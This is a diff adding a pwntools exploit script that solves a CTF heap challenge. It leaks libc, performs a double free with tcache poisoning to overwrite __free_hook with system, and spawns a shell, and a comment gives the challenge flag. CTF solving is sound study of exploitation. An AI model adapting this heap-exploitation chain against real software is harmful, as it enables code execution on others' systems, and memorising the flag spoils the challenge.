|
| 1 | +# blog.y2a.dev/articles/2022/05-08/heap_challenge/ |
| 2 | +from pwn import * |
| 3 | + |
| 4 | +HOST = "heap-challenge.cpctf.space" |
| 5 | +PORT = 30018 |
| 6 | +file = "./heap_chal" |
| 7 | +libc = ELF("./libc.so.6") |
| 8 | +context(os = 'linux', arch = 'amd64') |
| 9 | +#context.log_level = 'debug' |
| 10 | + |
| 11 | +#io = remote(HOST, PORT) |
| 12 | +io = process(file) |
| 13 | + |
| 14 | +arena_top = 0x1ecb80 + 0x60 |
| 15 | + |
| 16 | +def new(index: str, msg: str, content: bytes): |
| 17 | + io.sendlineafter(">", "1") |
| 18 | + io.sendlineafter("index> ", index) |
| 19 | + io.sendlineafter("msg_len> ", msg) |
| 20 | + io.sendlineafter("content> ", content) |
| 21 | + |
| 22 | +def edit(index: str, newlen: str, content: bytes =b""): |
| 23 | + io.sendlineafter(">", "2") |
| 24 | + io.sendlineafter("index> ", index) |
| 25 | + io.sendlineafter("new_len> ", newlen) |
| 26 | + if b"inv" in io.recvn(3): |
| 27 | + return |
| 28 | + io.sendlineafter("> ", content) |
| 29 | + |
| 30 | +def show(index: str): |
| 31 | + io.sendlineafter(">", "3") |
| 32 | + io.sendlineafter("index> ", index) |
| 33 | + |
| 34 | +def delete(index: str): |
| 35 | + io.sendlineafter(">", "4") |
| 36 | + io.sendlineafter("index> ", index) |
| 37 | + |
| 38 | +new("0", "16", b"AAAA") |
| 39 | +new("1", "1280", b"BBBB") |
| 40 | +new("2", "16", b"CCCC") |
| 41 | +new("3", "16", b"DDDD") |
| 42 | +new("4", "16", b"EEEE") |
| 43 | +new("5", "16", b"FFFF") |
| 44 | + |
| 45 | +# leak libc |
| 46 | +edit("1", "-1") |
| 47 | +show("1") |
| 48 | +libc.address = u64(io.recvline()[:-1].ljust(8, b"\0")) - arena_top |
| 49 | +libc_free_hook = libc.sym['__free_hook'] |
| 50 | +print(f'{libc.address:x}') |
| 51 | +print(f'{libc_free_hook:x}') |
| 52 | + |
| 53 | +# fill tcache |
| 54 | +# deleteすると、2つ繋がる |
| 55 | +delete("0") |
| 56 | +delete("2") |
| 57 | +delete("3") |
| 58 | +edit("4", "-1") # editは1つだけ |
| 59 | + |
| 60 | +# double free |
| 61 | +delete("5") #fastbin: 5 -> 5' -> NULL |
| 62 | +edit("5", "-1") #fastbin: 5' -> 5 -> 5' -> NULL |
| 63 | + |
| 64 | +new("0", "16", b"XXXX") |
| 65 | +new("2", "16", b"YYYY") |
| 66 | +new("3", "16", b"ZZZZ") |
| 67 | + |
| 68 | +# tcache: 0' -> NULL |
| 69 | +# fastbin: 5' -> 5 -> 5' -> NULL |
| 70 | +new("4", "16", p64(libc.sym["__free_hook"])) # 4 = 5' |
| 71 | +# tcache: 5 -> 5' -> __free_hook -> NULL |
| 72 | + |
| 73 | +edit("0", "-1") # tcache: 0' -> 5 -> 5' -> __free_hook -> NULL |
| 74 | +new("5", "16", b"/bin/sh\x00") # tcache: 5' -> __free_hook -> NULL |
| 75 | +new("6", "16", p64(libc.sym["system"])) |
| 76 | + |
| 77 | +delete("5") |
| 78 | + |
| 79 | +io.interactive() |
| 80 | +#CPCTF{we_implemented_it_too_freely} |
0 commit comments